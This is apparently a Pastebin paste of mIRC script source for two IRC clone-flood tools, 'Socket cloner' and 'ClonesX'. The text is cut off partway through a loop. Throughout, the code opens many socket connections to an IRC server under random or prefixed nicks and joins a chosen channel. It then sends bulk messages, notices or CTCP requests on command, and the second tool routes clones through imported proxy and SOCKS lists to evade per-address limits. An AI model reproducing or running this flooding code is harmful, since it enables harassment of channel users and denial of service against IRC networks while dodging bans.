API tools faq
paste
coolguylentz

KloneSEX

coolguylentz
Sep 16th, 2012
627
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 53.67 KB | None | 0 0
raw download clone embed print report
  1. dialog kl0nz_Table kl0nz_Table {
  2. title "Clone Table"
  3. size -1 -1 182 203
  4. option dbu
  5. text "IRC Server:", 2, 9 10 29 8
  6. edit "", 5, 40 9 52 10, autohs
  7. button "Cancel", 31, 3 185 25 10, flat cancel
  8. edit "", 6, 40 20 52 10, autohs
  9. box "Where?", 1, 5 2 91 45
  10. text "Port:", 3, 26 21 12 8
  11. button "connect", 12, 21 53 26 10, flat
  12. text "0x000", 27, 58 119 60 7, center
  13. edit "", 26, 106 80 66 30, read multi autovs center
  14. box "Status Window", 25, 102 71 74 44
  15. text "Cloner v0.1", 29, 54 139 69 8, center
  16. text "Socket cloner", 28, 65 127 46 8, center
  17. text "www.google.com", 32, 110 182 69 8
  18. box "Flood Type?", 18, 6 71 81 43, group
  19. button "Kill clones", 13, 59 53 27 10, flat
  20. text "How many:", 4, 11 33 28 8
  21. edit "", 7, 40 32 15 10
  22. edit "", 22, 41 78 42 10, autohs
  23. edit "", 23, 41 89 42 10, autohs
  24. edit "", 24, 41 100 42 10, autohs
  25. radio "MSG:", 19, 12 78 24 10
  26. radio "Notice:", 20, 12 89 28 10
  27. radio "CTCP:", 21, 12 100 25 10
  28. box "Clone Nicks?", 8, 102 2 72 31, group
  29. radio "Random", 9, 105 10 32 10
  30. radio "From Prefix:", 10, 105 20 38 10
  31. edit "", 11, 143 20 27 10, autohs
  32. box "Destination?", 14, 102 35 72 20
  33. edit "", 16, 131 42 38 10, autohs
  34. button "Join chan", 17, 125 58 28 10, flat
  35. text "Channel:", 15, 107 43 22 8
  36. button "Flood", 34, 17 119 22 10, flat
  37. }
  38.  
  39. on 1:dialog:kl0nz_Table:Init:0: {
  40. did -a $dname 5 %kl0nZ.serv
  41. did -a $dname 6 %kl0nZ.port
  42. did -a $dname 7 %kl0nZ.numbers
  43. did -a $dname 11 %kl0nZ.nick
  44. did -a $dname 16 %kl0nZ.channel
  45. did -a $dname 22 %kl0nZ.msg.data
  46. did -a $dname 23 %kl0nZ.notice.data
  47. did -a $dname 24 %kl0nZ.ctcp.data
  48. did -a $dname 26 kl0nz
  49. did -b $dname 13 | did -b $dname 16 | did -b $dname 17 | did -b $dname 19 | did -b $dname 20 | did -b $dname 21 | did -b $dname 22 | did -b $dname 23 | did -b $dname 24 | did -b $dname 34
  50. }
  51. alias kl0nZ dialog -mdv kl0nz_Table
  52. on 1:dialog:kl0nz_Table:sclick:*: {
  53. if ($did == 12) {
  54. did -e $dname 13 | did -e $dname 16 | did -e $dname 17
  55. var %kl0nZ.var = 0
  56. :next
  57. sockopen kl0nZ- $+ $rand(1,999999999) %kl0nZ.serv %kl0nZ.port
  58. inc %kl0nZ.var
  59. if (%kl0nZ.var < %kl0nZ.numbers) goto next
  60. }
  61. elseif ($did == 9) { set %kl0nZ.random on | set %kl0nZ.perfix off }
  62. elseif ($did == 10) { set %kl0nZ.perfix on | set %kl0nZ.random off }
  63. elseif ($did == 13) { sockwrite -n kl0nZ* quit byessssssssss | did -ar kl0nzTable 26 $crlf Sockets Down | did -b $dname 13 | did -b $dname 16 | did -b $dname 17 | did -b $dname 19 | did -b $dname 20 | did -b $dname 21 | did -b $dname 22 | did -b $dname 23 | did -b $dname 24 | did -b $dname 34 }
  64. elseif ($did == 17) { sockwrite -n kl0nZ* join %kl0nz.channel | did -e $dname 19 | did -e $dname 20 | did -e $dname 21 | did -e $dname 22 | did -e $dname 23 | did -e $dname 24 | did -e $dname 34 }
  65. elseif ($did == 19) { set %kl0nZ.msg on | set %kl0nZ.notice off | set %kl0nZ.ctcp off }
  66. elseif ($did == 20) { set %kl0nZ.notice on | set %kl0nZ.ctcp off | set %kl0nZ.msg off }
  67. elseif ($did == 21) { set %kl0nZ.ctcp on | set %kl0nZ.msg off | set %kl0nZ.notice off }
  68. elseif ($did == 31) { sockclose kl0nz* }
  69. elseif ($did == 33) { run http://www.google.com.au/ }
  70. elseif ($did == 34) {
  71. if (%kl0nz.msg == on ) { sockwrite -tn kl0nZ* PRIVMSG %kl0nz.channel : $+ %kl0nz.msg.data }
  72. if (%kl0nz.notice == on ) { sockwrite -tn kl0nZ* NOTICE %kl0nz.channel : $+ %kl0nz.notice.data }
  73. if (%kl0nz.ctcp == on ) { sockwrite -tn kl0nZ* PRIVMSG %kl0nz.channel : $+  $+ %kl0nz.ctcp.data $+  }
  74. }
  75. }
  76.  
  77. on 1:sockopen:kl0nZ*:{
  78. if ($sockerr > 0) {
  79. did -ar kl0nzTable 26 $crlf Cannot connect to IRC server
  80. return
  81. }
  82. sockwrite -tn $sockname user $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  83. if (%kl0nZ.random == on) { sockwrite -tn $sockname nick $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) }
  84. if (%kl0nZ.perfix == on) { sockwrite -tn $sockname nick %kl0nZ.nick $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) }
  85. did -a kl0nZTable 26 $crlf Clones connected..
  86. }
  87.  
  88. on 1:sockread:kl0nZ*:{
  89. if ($sockerr > 0) { return }
  90. :loop | sockread %tmp
  91. if ($sockbr == 0) { return }
  92. if ($gettok(%tmp,1,32) == ping) { sockwrite -tn $sockname PONG $gettok(%tmp,2-,32) }
  93. goto loop
  94. }
  95.  
  96. on 1:sockclose:kl0nZ*:{
  97. did -a kl0nZTable 26 $crlf Clones disconnected..
  98. }
  99.  
  100. on 1:dialog:kl0nZTable:edit:*: {
  101. if ($did == 5) { set %kl0nZ.serv $did(5) }
  102. elseif ($did == 6) { set %kl0nZ.port $did(6) }
  103. elseif ($did == 7) { set %kl0nZ.numbers $did(7) }
  104. elseif ($did == 11) { set %kl0nZ.nick $did(11) }
  105. elseif ($did == 16) { set %kl0nZ.channel $did(16) }
  106. elseif ($did == 22) { set %kl0nZ.msg.data $did(22) }
  107. elseif ($did == 23) { set %kl0nZ.notice.data $did(23) }
  108. elseif ($did == 24) { set %kl0nZ.ctcp.data $did(24) }
  109. }
  110. menu menubar {
  111. -
  112. Socket CloneFlood
  113. .Load:kl0nz
  114. .-
  115. .Unload:unset %kl0nz.* | unload -rs $script
  116. -
  117. }
  118.  
  119.  
  120. ;;;;AND BETTER:
  121.  
  122.  
  123. alias ClonesXs {
  124. p.cloning.delch
  125. if ($dialog(p.cloning)) { dialog -v p.cloning }
  126. else { dialog -md p.cloning p.cloning }
  127. }
  128.  
  129. dialog p.cloning {
  130. title "ClonesX"
  131. size -1 -1 268 205
  132. option dbu
  133. tab "Connection", 200, 1 2 265 191
  134. box "Server", 8, 5 21 186 21, tab 200
  135. text "Host/Ip:", 9, 7 30 20 8, result tab 200
  136. edit "", 10, 28 28 92 10, tab 200 autohs
  137. text "Port:", 1, 123 30 17 8, tab 200
  138. combo 12, 142 28 46 50, tab 200 size edit drop
  139. box "Nick", 34, 5 45 111 22, tab 200
  140. radio "", 35, 8 54 7 10, tab 200
  141. radio "Other", 36, 57 54 22 10, tab 200
  142. combo 37, 16 53 41 50, tab 200 size drop
  143. edit "", 38, 80 54 34 10, tab 200 autohs
  144. box "Connection", 45, 6 102 110 67, tab 200
  145. text "Number of clons:", 49, 10 111 48 20, tab 200
  146. combo 50, 68 109 43 80, tab 200 size edit drop
  147. text "Mode:", 215, 10 122 15 8, tab 200
  148. combo 47, 68 121 43 50, tab 200 size drop
  149. button "&Connect", 48, 10 145 101 10, disable tab 200
  150. button "&Disconnect", 52, 10 157 101 10, tab 200
  151. box "Debug", 219, 119 45 142 143, tab 200
  152. edit "", 44, 121 52 138 134, tab 200 read multi autohs vsbar
  153. box "State", 39, 6 68 110 31, tab 200
  154. text "Connected clones:", 40, 10 76 47 8, tab 200
  155. text "Open sockets:", 42, 10 87 41 8, tab 200
  156. button "Clear Debug", 53, 6 175 110 13, tab 200
  157. text "-", 41, 78 77 34 8, tab 200
  158. text "-", 43, 78 87 34 8, tab 200
  159. text "Delay:", 390, 10 134 25 8, tab 200
  160. combo 391, 68 133 43 60, tab 200 size edit drop
  161. text "ClonesX", 361, 199 29 54 8, tab 200
  162. tab "Firewall", 201
  163. box "Proxy", 236, 3 19 88 170, tab 201
  164. box "Socks 4", 234, 90 19 88 170, tab 201
  165. box "Socks 5", 235, 177 19 88 170, tab 201
  166. text "Host/Ip:", 55, 5 27 20 8, tab 201
  167. edit "", 2, 26 26 62 10, tab 201 autohs
  168. text "Port:", 56, 5 37 17 8, tab 201
  169. edit "", 3, 26 37 62 10, tab 201 autohs
  170. button "&Add", 5, 5 48 39 9, disable tab 201
  171. button "&Import", 6, 49 48 39 9, tab 201
  172. button "&Delete", 7, 5 58 39 9, tab 201
  173. button "Delete A&ll", 244, 49 58 39 9, tab 201
  174. list 4, 5 69 85 118, tab 201 size hsbar vsbar
  175. list 69, 92 69 85 118, tab 201 size hsbar vsbar
  176. button "&Delete", 72, 92 58 39 9, tab 201
  177. button "Delete A&ll", 256, 136 58 39 9, tab 201
  178. button "&Import", 71, 136 48 39 9, tab 201
  179. button "&Add", 70, 92 48 39 9, disable tab 201
  180. text "Port:", 67, 92 37 17 8, tab 201
  181. edit "", 68, 113 37 62 10, tab 201 autohs
  182. edit "", 66, 113 26 62 10, tab 201 autohs
  183. text "Host/Ip:", 65, 92 27 20 8, tab 201
  184. text "Host/Ip:", 74, 179 27 20 8, tab 201
  185. edit "", 75, 200 26 62 10, tab 201 autohs
  186. edit "", 77, 200 37 62 10, tab 201 autohs
  187. text "Port:", 76, 179 37 17 8, tab 201
  188. button "&Add", 79, 179 48 39 9, disable tab 201
  189. button "&Import", 80, 223 48 39 9, tab 201
  190. button "Delete A&ll", 265, 223 58 39 9, tab 201
  191. button "&Delete", 81, 179 58 39 9, tab 201
  192. list 78, 179 69 85 118, tab 201 size hsbar vsbar
  193. tab "Actions", 202
  194. box "Actions", 305, 3 20 261 86, tab 202
  195. button "Msg", 310, 9 72 37 10, disable tab 202
  196. button "Notice", 311, 9 83 37 10, disable tab 202
  197. button "Ping", 309, 9 61 37 10, disable tab 202
  198. button "Version", 308, 9 50 37 10, disable tab 202
  199. button "Part", 307, 9 39 37 10, disable tab 202
  200. button "Join", 306, 9 28 37 10, disable tab 202
  201. text "Channel:", 313, 47 29 25 8, tab 202
  202. button "Command", 312, 9 94 37 10, disable tab 202
  203. edit "", 314, 81 28 75 10, disable tab 202 autohs
  204. text "Channel:", 315, 47 41 25 8, tab 202
  205. edit "", 316, 81 39 75 10, disable tab 202 autohs
  206. edit "", 318, 81 50 75 10, disable tab 202 autohs
  207. text "Channel/Nick:", 317, 47 51 34 8, tab 202
  208. text "Channel/Nick:", 319, 47 62 34 8, tab 202
  209. edit "", 320, 81 61 75 10, disable tab 202 autohs
  210. text "Channel/Nick:", 321, 47 73 34 8, tab 202
  211. edit "", 322, 81 72 75 10, disable tab 202 autohs
  212. text "Message:", 323, 160 73 24 8, tab 202
  213. edit "", 324, 183 72 75 10, disable tab 202 autohs
  214. text "Channel/Nick:", 325, 47 84 34 8, tab 202
  215. edit "", 326, 81 83 75 10, disable tab 202 autohs
  216. text "Message:", 327, 160 84 24 8, tab 202
  217. edit "", 328, 183 83 75 10, disable tab 202 autohs
  218. edit "", 329, 47 94 211 10, disable tab 202 autohs
  219. edit "''Aleatory'' for aleatory", 331, 202 29 56 10, disable tab 202 autohs
  220. button "Nick Change", 330, 158 29 42 10, disable tab 202
  221. box "From...", 332, 158 41 100 29, tab 202
  222. radio "Global", 333, 163 48 27 10, disable tab 202
  223. radio "Selected", 334, 212 48 42 10, disable tab 202
  224. radio "Group 1", 335, 163 57 30 10, disable tab 202
  225. radio "Group 2", 336, 193 57 30 10, disable tab 202
  226. radio "Group 3", 337, 225 57 30 10, disable tab 202
  227. box "Nick List", 338, 3 106 261 85, tab 202
  228. list 339, 5 113 53 76, disable tab 202 size extsel vsbar
  229. button "Add to Group 1", 340, 59 125 39 11, disable tab 202
  230. button "Add to Group 2", 341, 59 144 39 11, disable tab 202
  231. box "Grupo 3", 370, 207 111 54 79, tab 202
  232. button "Delete", 371, 209 119 19 8, disable tab 202
  233. button "Delete all", 372, 228 119 31 8, disable tab 202
  234. list 373, 208 127 52 62, disable tab 202 size vsbar
  235. list 369, 154 127 52 62, disable tab 202 size vsbar
  236. button "Delete all", 368, 174 119 31 8, disable tab 202
  237. button "Delete", 367, 155 119 19 8, disable tab 202
  238. box "Group 2", 366, 153 111 54 79, tab 202
  239. list 351, 100 127 52 62, disable tab 202 size vsbar
  240. button "Delete All", 350, 120 119 31 8, disable tab 202
  241. button "Delete", 349, 101 119 19 8, disable tab 202
  242. box "Group 1", 348, 99 111 54 79, tab 202
  243. button "Add to Group 3", 342, 59 162 39 11, disable tab 202
  244. menu "File", 403
  245. item "&Exit", 476, 403, cancel
  246. menu "Special", 411
  247. item "Ip/Ports", 412, 411
  248. menu "Nick List", 413, 411
  249. menu "Nicks Change", 414, 413
  250. item "Default List", 415, 414
  251. item "List...", 416, 414
  252. menu "Save nicks", 417, 413
  253. item "Default List", 418, 417
  254. item "List...", 419, 417
  255. menu "Connect with list", 420, 413
  256. item "Default List", 421, 420
  257. item "List...", 422, 420
  258. menu "Help", 404
  259. item "About...", 441, 404
  260. item "Web", 405, 404
  261. item "Phorum", 406, 404
  262. item "Email", 407, 404
  263. menu "Help", 408, 404
  264. item "Readme.txt", 409, 408
  265. item "Help [DISABLED]", 410, 408
  266. }
  267.  
  268. on 1:DIALOG:p.cloning:edit:*: {
  269. if ($did == 2) || ($did == 3) { p.clon.fire.secl 2 3 5 }
  270. if ($did == 66) || ($did == 68) { p.clon.fire.secl 66 68 70 }
  271. if ($did == 75) || ($did == 77) { p.clon.fire.secl 75 77 79 }
  272.  
  273. if ($did == 10) || ($did == 12) || ($did == 38) || ($did == 50) {
  274. p.cloning.conEcheck
  275. }
  276. if ($did == 38) { if ($len($did($dname,38)) > 6) { p.cloning.fal The nick length must be al least 6 chars. | did -r $dname 38 } }
  277.  
  278. if ($did == 314) {
  279. if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 306
  280. else did -b $dname 306
  281. }
  282. if ($did == 316) {
  283. if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 307
  284. else did -b $dname 307
  285. }
  286. if ($did == 318) {
  287. if (& iswm $did($dname,$did).text) did -e $dname 308
  288. else did -b $dname 308
  289. }
  290. if ($did == 320) {
  291. if (& iswm $did($dname,$did).text) did -e $dname 309
  292. else did -b $dname 309
  293. }
  294. if ($did == 322) || ($did == 324) {
  295. if (& iswm $did($dname,322).text) && (* iswm $did($dname,324).text) did -e $dname 310
  296. else did -b $dname 310
  297. }
  298. if ($did == 326) || ($did == 328) {
  299. if (& iswm $did($dname,326).text) && (* iswm $did($dname,328).text) did -e $dname 311
  300. else did -b $dname 311
  301. }
  302. if ($did == 329) {
  303. if (* iswm $did($dname,$did).text) did -e $dname 312
  304. else did -b $dname 312
  305. }
  306. if ($did == 331) {
  307. if (& iswm $did($dname,$did).text) did -e $dname 330
  308. else did -b $dname 330
  309. }
  310. }
  311. alias -l p.cloning.conEcheck {
  312. if ($dialog(p.cloning)) {
  313. if (??* iswm $did($dname,10)) && ($abs($did($dname,12)) != 0) && ($abs($did($dname,50)) != 0) {
  314. if ($did($dname,36).state == 0) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
  315. elseif ($did($dname,38)) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
  316. else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  317. }
  318. else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  319. }
  320. }
  321. alias -l p.clon.fire.secl {
  322. if ($dialog(p.cloning)) {
  323. if (??* iswm $did($dname,$$1)) && ($abs($did($dname,$$2)) != 0) && ($did($dname,$$2)) { did -e $dname $$3 }
  324. elseif ($did($dname,$$3).enabled == $true) { did -b $dname $$3 }
  325. }
  326. }
  327. alias -l p.clon.fire.secl1 {
  328. var %p.clon.fire.secl1 = $did($dname,$$2) $did($dname,$$3)
  329. if ($dialog(p.cloning)) && (!$didwm($dname,$$1,%p.clon.fire.secl1)) {
  330. did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.clon.fire.secl1
  331. }
  332. }
  333. alias -l p.cloning.fire.secl2 {
  334. if ($dialog(p.cloning)) {
  335. did -d $dname $$1 $$did($dname,$$1).sel
  336. }
  337. }
  338. alias -l p.cloning.fire.secl3 {
  339. if ($dialog(p.cloning)) {
  340. var %p.cloning.proFile = $sfile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Select the file where the list of proxies is,Import)
  341. if (%p.cloning.proFile) {
  342. set %p.save.cloning.lstPath $nofile(%p.cloning.proFile)
  343. var %i = 1
  344. while (%i <= $lines(%p.cloning.proFile)) {
  345. var %p.cloning.proFile.p = $read(%p.cloning.proFile,%i)
  346. if ($gettok(%p.cloning.proFile.p,0,58) == 2) { var %p.cloning.proFile.p = $gettok(%p.cloning.proFile.p,1,58) $gettok(%p.cloning.proFile.p,2,58) }
  347. if (($gettok(%p.cloning.proFile.p,0,32) != 2) || ($abs($gettok(%p.cloning.proFile.p,2,32)) == 0)) {
  348. p.cloning.fal The file must contain in every line the proxy and the port. Eg- one.proxy.com 8080 Eg2- other.proxy.com:8080
  349. return
  350. }
  351. if (%p.cloning.proFile.p) && (!$didwm($dname,$$1,%p.cloning.proFile.p)) { did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.cloning.proFile.p }
  352. var %i = %i + 1
  353. }
  354. unset %p.cloning.proFile.p
  355. }
  356. }
  357. }
  358. alias -l p.cloning.ddnsd {
  359. if ($dialog(p.cloning)) {
  360. if ($did(p.cloning,47).text == Socks 4) || ($did(p.cloning,47).text == Socks 5) {
  361. .enable #p.cloning.DdnsD
  362. .dns $did(p.cloning,10).text
  363. p.clon.stats -Resolving Host/Ip... $time
  364. }
  365. else { p.cloning.jj }
  366. }
  367. }
  368. #p.cloning.DdnsD off
  369. on 1:DNS: {
  370. if ($dialog(p.cloning)) {
  371. if ($iaddress) { var %resulto = $iaddress }
  372. else { var %resulto = $naddress }
  373. did -o p.cloning 10 1 %resulto
  374. .disable #p.cloning.DdnsD
  375. p.clon.stats -Resolved to %resulto $time
  376. p.clon.stats -
  377. p.cloning.jj
  378. }
  379. haltdef
  380. }
  381. #p.cloning.DdnsD end
  382. on 1:DIALOG:p.cloning:sclick:*: {
  383. if ($did == 53) { did -r $dname 44 }
  384. if ($did == 36) { if ($did($dname,36).state == 1) && ($did($dname,38) == $null) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  385. if ($did == 35) { if ($did($dname,5).enabled == $false) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 } }
  386. ;if ($did == 46) {
  387. ; if ($calc($dialog($dname).w / $dbuw) >= 216) && ($calc($dialog($dname).w / $dbuw) <= 219) { dialog -bs $dname -1 -1 322 160 | dialog -r $dname }
  388. ; else { dialog -bs $dname -1 -1 215 160 | dialog -r $dname }
  389. ;}
  390. if ($did == 5) { p.clon.fire.secl1 4 2 3 }
  391. if ($did == 70) { p.clon.fire.secl1 69 66 68 }
  392. if ($did == 79) { p.clon.fire.secl1 78 75 77 }
  393.  
  394. if ($did == 7) { p.cloning.fire.secl2 4 }
  395. if ($did == 72) { p.cloning.fire.secl2 69 }
  396. if ($did == 81) { p.cloning.fire.secl2 78 }
  397.  
  398. if ($did == 6) { p.cloning.fire.secl3 4 }
  399. if ($did == 71) { p.cloning.fire.secl3 69 }
  400. if ($did == 80) { p.cloning.fire.secl3 78 }
  401.  
  402. if ($did == 48) { unset %p.cloning.Nlist.conn* | p.cloning.ddnsd }
  403. if ($did == 52) {
  404. if ($sock(p.cloning*)) {
  405. var %p.cloning.go.kit =
  406. if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit }
  407. .sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
  408. .timerPCloning.out 1 1 .sockclose p.cloning.*
  409. }
  410. ;.remove CloneX.ini | .remove CloneXo.ini
  411. if ($hget(p.cloning.a)) { hfree p.cloning.a }
  412. .timerP.cloning.Recr off
  413. p.cloning.recr 1
  414. unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
  415. }
  416.  
  417. if ($did == 339) {
  418. if ($did($dname,$did).sel) { did -e $dname 340 | did -e $dname 341 | did -e $dname 342 }
  419. else { did -b $dname 340 | did -b $dname 341 | did -b $dname 342 }
  420. }
  421.  
  422. if ($did == 244) { did -r $dname 4 }
  423. if ($did == 256) { did -r $dname 69 }
  424. if ($did == 265) { did -r $dname 78 }
  425.  
  426. if ($did == 340) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 351 }
  427. if ($did == 341) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 369 }
  428. if ($did == 342) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 373 }
  429. if ($did == 349) { did -d $dname 351 $$did($dname,351).sel }
  430. if ($did == 367) { did -d $dname 369 $$did($dname,369).sel }
  431. if ($did == 371) { did -d $dname 373 $$did($dname,373).sel }
  432. if ($did == 350) { did -r $dname 351 }
  433. if ($did == 368) { did -r $dname 369 }
  434. if ($did == 372) { did -r $dname 373 }
  435.  
  436. if ($did == 306) { p.cloning.runcmd join $did($dname,314).text }
  437. if ($did == 307) { p.cloning.runcmd part $did($dname,316).text }
  438. if ($did == 308) { p.cloning.runcmd privmsg $did($dname,318).text : $+ $chr(1) $+ version $+ $chr(1) }
  439. if ($did == 309) { p.cloning.runcmd privmsg $did($dname,320).text : $+ $chr(1) $+ ping $+ $chr(1) }
  440. if ($did == 310) { p.cloning.runcmd privmsg $did($dname,322).text : $+ $did($dname,324).text }
  441. if ($did == 311) { p.cloning.runcmd notice $did($dname,326).text : $+ $did($dname,328).text }
  442. if ($did == 312) { p.cloning.runcmd $did($dname,329).text }
  443. if ($did == 330) { p.cloning.runcmd nick $did($dname,331).text }
  444.  
  445. if ($did == 361) { run $did($dname,361).text }
  446. }
  447. on 1:DIALOG:p.cloning:menu:*: {
  448. if ($did == 476) { set %p.save.cloning.srv $did($dname,10).text }
  449. if ($did == 405) { run ClonesXs }
  450. if ($did == 406) { run http://www.google.com.au }
  451. if ($did == 407) { run http://www.google.com.au }
  452. if ($did == 409) { run $mircdirReadme.txt }
  453. if ($did == 410) { run http://www.google.com.au }
  454. if ($did == 412) { p.cloning.ipports }
  455. if ($did == 415) { p.cloning.list.nicksch $mircdirClXNickList.cfg }
  456. if ($did == 416) { p.cloning.list.nicksch $sfile($mircdir,"Escoge the archive") }
  457. if ($did == 418) { p.cloning.list.save $mircdirClXNickList.cfg }
  458. if ($did == 419) { p.cloning.list.save $sfile($mircdir,"Look in...",Guardar) }
  459. if ($did == 421) {
  460. unset %p.cloning.Nlist.conn*
  461. set %p.cloning.Nlist.conn 1
  462. if ($exists($mircdirClXNickList.cfg) == $false) { p.cloning.fal File not found! }
  463. set %p.cloning.Nlist.conn.f $mircdirClXNickList.cfg
  464. p.cloning.ddnsd
  465. }
  466. if ($did == 422) {
  467. unset %p.cloning.Nlist.conn*
  468. set %p.cloning.Nlist.conn 1
  469. set %p.cloning.Nlist.conn.f $sfile($mircdir,"Select file")
  470. if (%p.cloning.Nlist.conn.f) { p.cloning.ddnsd }
  471. }
  472. if ($did == 441) { p.cloning.crdts }
  473. }
  474. alias -l p.cloning.nick.gr.ad {
  475. if ($dialog(p.cloning)) {
  476. var %i = 1
  477. while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
  478. var %p.cloning.adgr1.nicks = $ifmatch
  479. if (!$didwm(p.cloning,$$1,%p.cloning.adgr1.nicks)) { did -i p.cloning $$1 $calc($did(p.cloning,$$1).lines + 1) %p.cloning.adgr1.nicks }
  480. var %i = %i + 1
  481. }
  482. }
  483. }
  484. alias -l p.cloning.jj {
  485. if ($did(p.cloning,47).text == Normal) { p.clon.do }
  486. elseif ($did(p.cloning,47).text == Proxy) {
  487. if (!$did(p.cloning,4,1)) { p.cloning.fal Introduce some proxies in the configuration if you would like to connect with them. | p.cloning.recr 1 | return }
  488. p.clon.do
  489. }
  490. elseif ($did(p.cloning,47).text == Socks 4) {
  491. if (!$did(p.cloning,69,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 4. | p.cloning.recr 1 | return }
  492. ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol doesn't admit domain names (ip's only), /dns $did($dname,10).text and apply the result here | return }
  493. p.clon.do
  494. }
  495. elseif ($did(p.cloning,47).text == Socks 5) {
  496. if (!$did(p.cloning,78,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 5. | p.cloning.recr 1 | return }
  497. ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol does admit domain names, but in this version of ClonesX it's bot implemented, so, /dns $did($dname,10).text and apply the result here | return }
  498. p.clon.do
  499. }
  500. }
  501. alias -l p.clon.dodo {
  502. if ($dialog(p.cloning)) && (!$sock($$1)) {
  503. p.cloning.do.w $$1 0,0
  504. ;inc %p.cloning.n
  505. .sockopen $$1-
  506. if ($did(p.cloning,47).text == Normal) { var %p.clon.dodo = *Socket -Normal-: }
  507. if ($did(p.cloning,47).text == Proxy) { var %p.clon.dodo = *Socket -Proxy-: }
  508. if ($did(p.cloning,47).text == Socks 4) { var %p.clon.dodo = *Socket -Socks 4-: }
  509. if ($did(p.cloning,47).text == Socks 5) { var %p.clon.dodo = *Socket -Socks 5-: }
  510. p.cloning.delch
  511. p.clon.stats %p.clon.dodo $did(p.cloning,10) $did(p.cloning,12)
  512. }
  513. }
  514. alias -l p.clon.do {
  515. if ($dialog(p.cloning)) {
  516. p.cloning.recr 0
  517. var %p.cloning.delay = $did(p.cloning,391).text
  518. if ($did(p.cloning,47).text == Normal) {
  519. var %i = 1
  520. while (%i <= $did(p.cloning,50).text) {
  521. inc %p.cloning.t
  522. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $did(p.cloning,10) $did(p.cloning,12)
  523. var %i = %i + 1
  524. }
  525. .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  526. p.cloning.recr 0
  527. }
  528.  
  529. elseif ($did(p.cloning,47).text == Proxy) {
  530. var %i = 1
  531. while (%i <= $did(p.cloning,50).text) {
  532. if ($did(p.cloning,4,$calc(%p.cloning.pn + 1))) { inc %p.cloning.pn }
  533. elseif ($did(p.cloning,4,1)) { set %p.cloning.pn 1 }
  534. else { p.cloning.fal No wingates/proxys configured.| return }
  535. inc %p.cloning.t
  536. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,4,%p.cloning.pn),1,32) $gettok($did(p.cloning,4,%p.cloning.pn),2,32)
  537. var %i = %i + 1
  538. }
  539. .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  540. p.cloning.recr 0
  541. }
  542.  
  543. elseif ($did(p.cloning,47).text == Socks 4) {
  544. var %i = 1
  545. while (%i <= $did(p.cloning,50).text) {
  546. if ($did(p.cloning,69,$calc(%p.cloning.pn4 + 1))) { inc %p.cloning.pn4 }
  547. elseif ($did(p.cloning,69,1)) { set %p.cloning.pn4 1 }
  548. else { p.cloning.fal No wingates/proxys configured.| return }
  549. inc %p.cloning.t
  550. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,69,%p.cloning.pn4),1,32) $gettok($did(p.cloning,69,%p.cloning.pn4),2,32)
  551. var %i = %i + 1
  552. }
  553. .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  554. p.cloning.recr 0
  555. }
  556.  
  557. elseif ($did(p.cloning,47).text == Socks 5) {
  558. var %i = 1
  559. while (%i <= $did(p.cloning,50).text) {
  560. if ($did(p.cloning,78,$calc(%p.cloning.pn5 + 1))) { inc %p.cloning.pn5 }
  561. elseif ($did(p.cloning,78,1)) { set %p.cloning.pn5 1 }
  562. else { p.cloning.fal No wingates/proxys configured.| return }
  563. inc %p.cloning.t
